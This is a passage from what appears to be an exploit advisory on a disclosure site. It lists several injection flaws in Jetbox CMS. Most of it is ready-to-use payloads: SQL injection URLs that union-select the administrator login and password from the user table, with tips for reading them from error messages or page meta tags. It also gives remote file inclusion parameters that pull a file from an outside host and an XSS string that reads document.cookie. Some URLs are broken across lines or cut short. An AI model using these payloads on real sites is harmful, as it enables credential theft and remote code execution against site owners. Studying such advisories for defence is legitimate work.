Multible injections and vulnerabilities in Jetbox CMS

Risk: High
Local: No
Remote: Yes

Hello,, Multible Injections in Jetbox CMS Discovered By : HACKERS PAL & mohajali Copy rights : HACKERS PAL & mohajali Website : Email Address : security (at) soqor (dot) net [email concealed] This Contains multible injections and vulnerabilities in Jetbox CMS /*********************************************************************/ sql injections if magic_quotes_gpc = off index.php?view=-1'%20union%20select%201,tablename,3,4,5,6,7,8,9,10,11,12 %20from%20navigation%20where%20'1'='1 and see the error for the including for index.php?view=-1'%20union%20select%201,login,3,4,5,6,7,8,9,10,11,12%20f rom%20user%20where%20uid=1/* you will see like Warning: main(admin) and index.php?view=-1'%20union%20select%201,user_password,3,4,5,6,7,8,9,10,1 1,12%20from%20user%20where%20uid=1/* it will be like Warning: main(admin1) that means admin is the username and admin1 is the password - - - - - - - - index.php?view=outputs&item=-1'%20union%20SELECT%201,2,3,4,5,6,7,8,login ,user_password,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20user%2 0where%20uid=1/* Click view source ,, you will see somthing like this <meta name="keywords" content="admin"> <meta name="description" content="admin1"> the first is 'admin' it's the user name for the administrator and the second is 'admin1' it's the password /*********************************************************************/ Remote file including includes/phpthumb.php?src=1&includes_path= .txt? includes/phpdig/includes/config.php?relative_script_path=http://www.soqo and this sql injection can be used for file inclusion if magic_quotes_gpc = off index.php?view=-1'%20union%20select%201,' txt?',3,4,5,6,7,8,9,10,11,12%20from%20navigation%20where%20'1'='1 /*********************************************************************/ xss are too many Example ,, includes/phpthumb.php?OriginalImageData=<script>alert(document.cookie);< /script> /*********************************************************************/ Full path disclore,, Try To open any file directly by the browser /*********************************************************************/ WwW.SoQoR.NeT

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top